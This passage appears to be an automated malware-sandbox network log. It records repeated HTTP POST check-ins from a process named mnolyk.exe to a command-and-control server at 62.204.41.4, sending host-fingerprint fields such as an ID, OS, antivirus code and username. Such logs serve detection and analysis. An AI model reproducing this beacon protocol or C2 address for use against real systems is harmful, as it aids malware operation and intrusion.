Feb 6, 2023 14:18:59.424455881 CET	687	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
487	192.168.2.5	50177	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:59.607120991 CET	687	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:59.670885086 CET	688	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
488	192.168.2.5	50178	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:59.843879938 CET	688	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:59.905893087 CET	689	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
489	192.168.2.5	50179	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:00.072206974 CET	689	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:00.137847900 CET	690	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49739	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:52.782773972 CET	250	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:52.847732067 CET	250	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
490	192.168.2.5	50180	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:00.308509111 CET	690	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:00.373677015 CET	691	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
491	192.168.2.5	50181	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:00.557837009 CET	691	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:00.622848034 CET	692	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
492	192.168.2.5	50182	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:00.788880110 CET	692	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:00.851037979 CET	693	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
493	192.168.2.5	50183	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:01.029659033 CET	693	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:01.094944000 CET	694	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
494	192.168.2.5	50184	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:01.259062052 CET	694	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:01.322190046 CET	695	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
495	192.168.2.5	50185	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:01.492595911 CET	695	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:01.556504965 CET	696	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
496	192.168.2.5	50186	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:01.729093075 CET	696	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:01.793245077 CET	697	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
497	192.168.2.5	50187	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:01.971976042 CET	697	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:02.037403107 CET	698	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
498	192.168.2.5	50188	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:02.215107918 CET	698	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:02.280091047 CET	699	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
499	192.168.2.5	50189	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:02.451596022 CET	699	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:02.517589092 CET	700	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49695	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:29.833365917 CET	205	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:29.896542072 CET	206	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49740	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:53.015336037 CET	251	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:53.081063986 CET	251	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
500	192.168.2.5	50190	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:02.698642015 CET	700	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:02.763273954 CET	701	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
501	192.168.2.5	50191	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:02.948024988 CET	701	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:03.012465954 CET	702	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
502	192.168.2.5	50192	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:03.186395884 CET	702	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:03.250641108 CET	703	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
503	192.168.2.5	50193	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:03.417591095 CET	703	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:03.482860088 CET	704	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
504	192.168.2.5	50194	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:03.649008036 CET	704	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:03.710764885 CET	705	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
505	192.168.2.5	50195	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
